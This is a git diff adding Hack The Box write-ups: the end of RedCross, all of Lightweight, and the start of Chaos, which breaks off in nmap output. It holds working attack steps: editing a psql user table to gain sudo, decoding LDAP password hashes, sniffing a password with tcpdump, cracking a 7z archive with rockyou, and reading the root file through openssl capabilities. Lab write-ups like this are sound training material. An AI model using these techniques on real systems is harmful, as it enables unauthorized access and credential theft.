".$ip); + } + + +printing out the /etc/group file we see that the sudoers file have the gid 27: + + + www-data@redcross:/var/www/html/admin/pages$ cat /etc/group | grep sudo + cat /etc/group | grep sudo + sudo:x:27: + + +So far we have been able to find the credentials to the psql database, so let's use them and poke around: + + + www-data@redcross:/var/www/html/admin/pages$ **psql -h 127.0.0.1 -d unix -U unixusrmgr -W** + Password for user unixusrmgr: **dheu%7wjx8B &** + + psql (9.6.7) + SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off) + Type "help" for help. + + unix=> **\dt** + \dt + WARNING: terminal is not fully functional + - (press RETURN) + List of relations + Schema | Name | Type | Owner + --------+--------------+-------+---------- + public | group_table | table | postgres + public | passwd_table | table | postgres + public | shadow_table | table | postgres + public | usergroups | table | postgres + (4 rows) + + +from there we can print out the hashed passwords in passwd_table and try to crack them using john but we'll go for [hipotermia's](https://hipotermia.pw/htb/redcross) awesome solution which consists in giving ourselves the group id (gid) of the sudoers: + + + unix=> update passwd_table set gid=27 where username='nihilist'; + update passwd_table set gid=27 where username='nihilist'; + UPDATE 1 + + +Once that's done, our user now has the group id of the sudoers, therefore we can login via ssh, use **sudo su** put in our own password and get a root shell: + + + ┌[ nihilist ]-[ Mahakala ]-[ 2020-03-31 ]-[ 10.10.14.42/23 ]-[~] + └→ ssh nihilist@10.10.10.113 + nihilist@10.10.10.113's password: + Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + nihilist@redcross:~$ sudo su + + We trust you have received the usual lecture from the local System + Administrator. It usually boils down to these three things: + + #1) Respect the privacy of others. + #2) Think before you type. + #3) With great power comes great responsibility. + + [sudo] password for nihilist: + root@redcross:/var/jail/home# cat /root/root.txt && cat /home/penelope/user.txt + 89XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + acXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user and the root flags ! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/36_graph.png) + diff --git a/Medium/37.md b/Medium/37.md new file mode 100644 index 0000000..e7a476a --- /dev/null +++ b/Medium/37.md @@ -0,0 +1,523 @@ +# Lightweight Writeup + +![](img/37.png) + +## Introduction : + +Lightweight is a Medium linux box released back in December 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [2020-03-30] [ 10.10.14.42/23 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.119 --max-retries 0 -Pn --min-rate=1000 | grep Discovered + [sudo] password for nihilist: + Discovered open port 80/tcp on 10.10.10.119 + Discovered open port 22/tcp on 10.10.10.119 + Discovered open port 389/tcp on 10.10.10.119 + + [2020-03-30] [ 10.10.14.42/23 ] [~] + → nmap -sCV -p80,22,389 10.10.10.119 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-30 15:09 BST + Nmap scan report for 10.10.10.119 + Host is up (0.040s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) + | ssh-hostkey: + | 2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA) + | 256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA) + |_ 256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519) + 80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16) + |_http-title: Lightweight slider evaluation page - slendr + 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X + | ssl-cert: Subject: commonName=lightweight.htb + | Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain + | Not valid before: 2018-06-09T13:32:51 + |_Not valid after: 2019-06-09T13:32:51 + |_ssl-date: TLS randomness does not represent time + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 14.71 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running the http server on the domain name "lightweight.htb" so let's add it to our /etc/hosts file: + +![](prg/37_001.png) + +Here we see that the website claims to be protected against "bruteforging" so let's just move on to the ldap port our nmap scan picked up, enumerating it with ldapsearch: + + + [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight] + → ldapsearch -x -h lightweight.htb -b "dc=lightweight,dc=htb" + # extended LDIF + # + # LDAPv3 + # base with scope subtree + # filter: (objectclass=*) + # requesting: ALL + # + + # lightweight.htb + dn: dc=lightweight,dc=htb + objectClass: top + objectClass: dcObject + objectClass: organization + o: lightweight htb + dc: lightweight + + # Manager, lightweight.htb + dn: cn=Manager,dc=lightweight,dc=htb + objectClass: organizationalRole + cn: Manager + description: Directory Manager + + # People, lightweight.htb + dn: ou=People,dc=lightweight,dc=htb + objectClass: organizationalUnit + ou: People + + # Group, lightweight.htb + dn: ou=Group,dc=lightweight,dc=htb + objectClass: organizationalUnit + ou: Group + + # ldapuser1, People, lightweight.htb + dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb + uid: ldapuser1 + cn: ldapuser1 + sn: ldapuser1 + mail: ldapuser1@lightweight.htb + objectClass: person + objectClass: organizationalPerson + objectClass: inetOrgPerson + objectClass: posixAccount + objectClass: top + objectClass: shadowAccount + userPassword:: e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R + oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv + shadowLastChange: 17691 + shadowMin: 0 + shadowMax: 99999 + shadowWarning: 7 + loginShell: /bin/bash + uidNumber: 1000 + gidNumber: 1000 + homeDirectory: /home/ldapuser1 + + # ldapuser2, People, lightweight.htb + dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb + uid: ldapuser2 + cn: ldapuser2 + sn: ldapuser2 + mail: ldapuser2@lightweight.htb + objectClass: person + objectClass: organizationalPerson + objectClass: inetOrgPerson + objectClass: posixAccount + objectClass: top + objectClass: shadowAccount + userPassword:: e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms + zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x + shadowLastChange: 17691 + shadowMin: 0 + shadowMax: 99999 + shadowWarning: 7 + loginShell: /bin/bash + uidNumber: 1001 + gidNumber: 1001 + homeDirectory: /home/ldapuser2 + + # ldapuser1, Group, lightweight.htb + dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb + objectClass: posixGroup + objectClass: top + cn: ldapuser1 + userPassword:: e2NyeXB0fXg= + gidNumber: 1000 + + # ldapuser2, Group, lightweight.htb + dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb + objectClass: posixGroup + objectClass: top + cn: ldapuser2 + userPassword:: e2NyeXB0fXg= + gidNumber: 1001 + + # search result + search: 2 + result: 0 Success + + # numResponses: 9 + # numEntries: 8 + + +Looking at the results, we have 2 users : ldapuser1 and ldapuser2, Then we have userPassword which is a base64 string, so let's decode it, but before that we can also enumerate LDAP using nmap's built-in scripts: + + + [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight] + → nmap --script=ldap-search lightweight.htb + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-30 15:20 BST + Nmap scan report for lightweight.htb (10.10.10.119) + Host is up (0.42s latency). + Not shown: 997 filtered ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 389/tcp open ldap + | ldap-search: + | Context: dc=lightweight,dc=htb + | dn: dc=lightweight,dc=htb + | objectClass: top + | objectClass: dcObject + | objectClass: organization + | o: lightweight htb + | dc: lightweight + | dn: cn=Manager,dc=lightweight,dc=htb + | objectClass: organizationalRole + | cn: Manager + | description: Directory Manager + | dn: ou=People,dc=lightweight,dc=htb + | objectClass: organizationalUnit + | ou: People + | dn: ou=Group,dc=lightweight,dc=htb + | objectClass: organizationalUnit + | ou: Group + | dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb + | uid: ldapuser1 + | cn: ldapuser1 + | sn: ldapuser1 + | mail: ldapuser1@lightweight.htb + | objectClass: person + | objectClass: organizationalPerson + | objectClass: inetOrgPerson + | objectClass: posixAccount + | objectClass: top + | objectClass: shadowAccount + | userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/ + | shadowLastChange: 17691 + | shadowMin: 0 + | shadowMax: 99999 + | shadowWarning: 7 + | loginShell: /bin/bash + | uidNumber: 1000 + | gidNumber: 1000 + | homeDirectory: /home/ldapuser1 + | dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb + | uid: ldapuser2 + | cn: ldapuser2 + | sn: ldapuser2 + | mail: ldapuser2@lightweight.htb + | objectClass: person + | objectClass: organizationalPerson + | objectClass: inetOrgPerson + | objectClass: posixAccount + | objectClass: top + | objectClass: shadowAccount + | userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1 + | shadowLastChange: 17691 + | shadowMin: 0 + | shadowMax: 99999 + | shadowWarning: 7 + | loginShell: /bin/bash + | uidNumber: 1001 + | gidNumber: 1001 + | homeDirectory: /home/ldapuser2 + | dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb + | objectClass: posixGroup + | objectClass: top + | cn: ldapuser1 + | userPassword: {crypt}x + | gidNumber: 1000 + | dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb + | objectClass: posixGroup + | objectClass: top + | cn: ldapuser2 + | userPassword: {crypt}x + |_ gidNumber: 1001 + + + +So from here we decode the b64 string we found earlier: + + + [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight] + → echo 'e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms + zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x' | base64 -d -i + {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1 + + +And here we see that this is the hashed password our nmap scan found, we can crack those hashes using rockyou.txt and john for example, but the intended way was to poke around the webservice further without using a directory bruteforcer, navigating to lightweight.htb/user.php: + +![](prg/37_002.png) + +Here we are hinted towards logging in via ssh into the box using the credentials 10.10.14.42:10.10.14.42 + + + [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight] + → ssh 10.10.14.42@lightweight.htb + The authenticity of host 'lightweight.htb (10.10.10.119)' can't be established. + ECDSA key fingerprint is SHA256:FWyyew+o9WoPYkfIKGEbTMsexks1z8ZkSUs9O+2AMSU. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'lightweight.htb,10.10.10.119' (ECDSA) to the list of known hosts. + 10.10.14.42@lightweight.htb's password: + [10.10.14.42@lightweight ~]$ id + uid=1003(10.10.14.42) gid=1003(10.10.14.42) groups=1003(10.10.14.42) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 + [10.10.14.42@lightweight ~]$ ls /home + 10.10.14.2 10.10.14.42 ldapuser1 ldapuser2 + + +Now once we are logged in, we had to check for binary capabilities using getcap which is available for us on the machine: + + + [10.10.14.42@lightweight ~]$ which getcap + /usr/sbin/getcap + + +Poking around we find a few interesting binaries in /usr/sbin/ + + + [10.10.14.42@lightweight ~]$ getcap -r /bin + [10.10.14.42@lightweight ~]$ getcap -r /usr/bin + /usr/bin/ping = cap_net_admin,cap_net_raw+p + [10.10.14.42@lightweight ~]$ getcap -r /usr/sbin + /usr/sbin/mtr = cap_net_raw+ep + /usr/sbin/suexec = cap_setgid,cap_setuid+ep + /usr/sbin/arping = cap_net_raw+p + /usr/sbin/clockdiff = cap_net_raw+p + /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep + + +So here we have to use tcpdump to capture traffic and store it as a .pcap file. Since tcpdump has the cap_net_admin and cap_net_raw+ep capabilities, we should be able to bind to any address for transparent proxying. So let's let it run for some time and check what our .pcap file has: + + + 10.10.14.42@lightweight ~]$ scp 10.10.14.42@lightweight.htb:/home/10.10.14.42/nihilist.pcap ./ + The authenticity of host 'lightweight.htb (10.10.10.119)' can't be established. + ECDSA key fingerprint is SHA256:FWyyew+o9WoPYkfIKGEbTMsexks1z8ZkSUs9O+2AMSU. + ECDSA key fingerprint is MD5:88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67. + Are you sure you want to continue connecting (yes/no)? yes + + +Once we retrieved our nihilist.pcap file, we inspect it using wireshark and we see a cleartext ldap request that has ldapuser2's password : **8bc8251332abe1d7f105d3e53ad39ac2** so let's login as ldapuser2 using his credentials: + + + [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight] + → ssh ldapuser2@lightweight.htb + ldapuser2@lightweight.htb's password: + Permission denied, please try again. + ldapuser2@lightweight.htb's password: + Permission denied, please try again. + ldapuser2@lightweight.htb's password: + ldapuser2@lightweight.htb: Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password). + + +Nice try, we cannot ssh as ldapuser2 remotely, we need to do it locally using su: + + + [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight] + → ssh 10.10.14.42@lightweight.htb + 10.10.14.42@lightweight.htb's password: + Last login: Mon Mar 30 15:33:14 2020 from 10.10.14.42 + [10.10.14.42@lightweight ~]$ su ldapuser2 + Password: + [ldapuser2@lightweight 10.10.14.42]$ whoami + ldapuser2 + [ldapuser2@lightweight 10.10.14.42]$ cd ~ + [ldapuser2@lightweight ~]$ cat user.txt + 8aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +in ldapuser2's home directory there is a 7z archive named backup, we transfer it locally using a simple base64 copy paste: + + + [ldapuser2@lightweight ~]$ base64 backup.7z + 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 + + +` ![](prg/37_003.png) + +Once we successfully copied the password-protected 7z file we bruteforce it with rockyou and 7z.py + + + [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight] + → python 7z.py backup.7z /usr/share/wordlists/rockyou.txt + + [...] + + [+] Password cracked with success : delete + + +And we have the password we need ! So we extract it and take a look at what's inside: + + + [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight] + → 7z e backup.7z + + 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 + p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI) + + Scanning the drive for archives: + 1 file, 3411 bytes (4 KiB) + + Extracting archive: backup.7z + -- + Path = backup.7z + Type = 7z + Physical Size = 3411 + Headers Size = 259 + Method = LZMA2:12k 7zAES + Solid = + + Blocks = 1 + + + Enter password (will not be echoed): + Everything is Ok + + Files: 5 + Size: 10270 + Compressed: 3411 + + [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight] + → ls + backup.7z backup.7z.b64 index.php info.php reset.php status.php user.php + + [2020-03-30] [ 10.10.14.42/23 ] [~/_HTB/Lightweight] + → cat status.php + + +Here the hint was to take a look into status.php which contains hardcoded credentials for ldapuser1: + + + [...] + + <****?php**$username = 'ldapuser1'; + $password = 'f3ca9d298a553da117442deeb6fa932d';** + $ldapconfig['host'] = 'lightweight.htb'; + $ldapconfig['port'] = '389'; + $ldapconfig['basedn'] = 'dc=lightweight,dc=htb'; + //$ldapconfig['usersdn'] = 'cn=users'; + $ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']); + ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3); + ldap_set_option($ds, LDAP_OPT_REFERRALS, 0); + + [...] + + +So we use su once again to login as ldapuser1 from ldapuser2: + + + [ldapuser2@lightweight ~]$ su ldapuser1 + Password: + [ldapuser1@lightweight ldapuser2]$ cd ~ + [ldapuser1@lightweight ~]$ ls + capture.pcap ldapTLS.php openssl tcpdump + + +And we have access to user1's homefiles ! now let's check the permissions here and the binary capabilities: + + + [ldapuser1@lightweight ~]$ ls -lash + total 1.5M + 0 drwx------. 4 ldapuser1 ldapuser1 181 Jun 15 2018 . + 0 drwxr-xr-x. 6 root root 77 Mar 30 15:11 .. + 0 -rw-------. 1 ldapuser1 ldapuser1 0 Jun 21 2018 .bash_history + 4.0K -rw-r--r--. 1 ldapuser1 ldapuser1 18 Apr 11 2018 .bash_logout + 4.0K -rw-r--r--. 1 ldapuser1 ldapuser1 193 Apr 11 2018 .bash_profile + 4.0K -rw-r--r--. 1 ldapuser1 ldapuser1 246 Jun 15 2018 .bashrc + 0 drwxrwxr-x. 3 ldapuser1 ldapuser1 18 Jun 11 2018 .cache + 12K -rw-rw-r--. 1 ldapuser1 ldapuser1 9.5K Jun 15 2018 capture.pcap + 0 drwxrwxr-x. 3 ldapuser1 ldapuser1 18 Jun 11 2018 .config + 4.0K -rw-rw-r--. 1 ldapuser1 ldapuser1 646 Jun 15 2018 ldapTLS.php + 544K -rwxr-xr-x. 1 ldapuser1 ldapuser1 543K Jun 13 2018 openssl + 924K -rwxr-xr-x. 1 ldapuser1 ldapuser1 921K Jun 13 2018 tcpdump + [ldapuser1@lightweight ~]$ getcap -r . + ./tcpdump = cap_net_admin,cap_net_raw+ep + ./openssl =ep + + +Here openssl is our candidate for root privesc, since it has the ep capabilities, which means that we can simply read the root flag by using the base64 encoding function in openssl: + + + [ldapuser1@lightweight ~]$ ls + capture.pcap ldapTLS.php openssl tcpdump + [ldapuser1@lightweight ~]$ ./openssl enc -base64 -in /root/root.txt -out ./root.txt.b64 + [ldapuser1@lightweight ~]$ base64 -d root.txt.b64 + f1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/37_graph.png) + diff --git a/Medium/38.md b/Medium/38.md new file mode 100644 index 0000000..fe397d0 --- /dev/null +++ b/Medium/38.md @@ -0,0 +1,693 @@ +# Chaos Writeup + +![](img/38.png) + +## Introduction : + +Chaos is a Medium linux box released back in December 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + ┌[ nihilist @ Mahakala ]-[ 2020-04-01 ]-[ 10.10.14.42/23 ]-[~] + └→ sudo nmap -vvv -sTU -p- 10.10.10.120 --max-retries 0 -Pn --min-rate=1000 | grep Discovered + [sudo] password for nihilist: + Discovered open port 10000/udp on 10.10.10.120 + Discovered open port 993/tcp on 10.10.10.120 + Discovered open port 110/tcp on 10.10.10.120 + Discovered open port 80/tcp on 10.10.10.120 + Discovered open port 995/tcp on 10.10.10.120 + Discovered open port 143/tcp on 10.10.10.120 + Discovered open port 10000/tcp on 10.10.10.120 + + ┌[ nihilist @ Mahakala ]-[ 2020-04-01 ]-[ 10.10.14.42/23 ]-[~] + └→ sudo nmap -sCVU -p10000 10.10.10.120 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 17:33 BST + Nmap scan report for 10.10.10.120 + Host is up (0.070s latency). + + PORT STATE SERVICE VERSION + 10000/udp open webmin (https on TCP port 10000) + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds + + ┌[ nihilist @ Mahakala ]-[ 2020-04-01 ]-[ 10.10.14.42/23 ]-[~] + └→ nmap -sCVT -p993,110,80,995,143,10000 10.10.10.120 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 17:33 BST + Nmap scan report for 10.10.10.120 + Host is up (0.046s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.34 ((Ubuntu)) + |_http-server-header: Apache/2.4.34 (Ubuntu) + |_http-title: Site doesn't have a title (text/html). + 110/tcp open pop3 Dovecot pop3d + |_pop3-capabilities: SASL AUTH-RESP-CODE UIDL STLS PIPELINING TOP CAPA RESP-CODES + | ssl-cert: Subject: commonName=chaos + | Subject Alternative Name: DNS:chaos + | Not valid before: 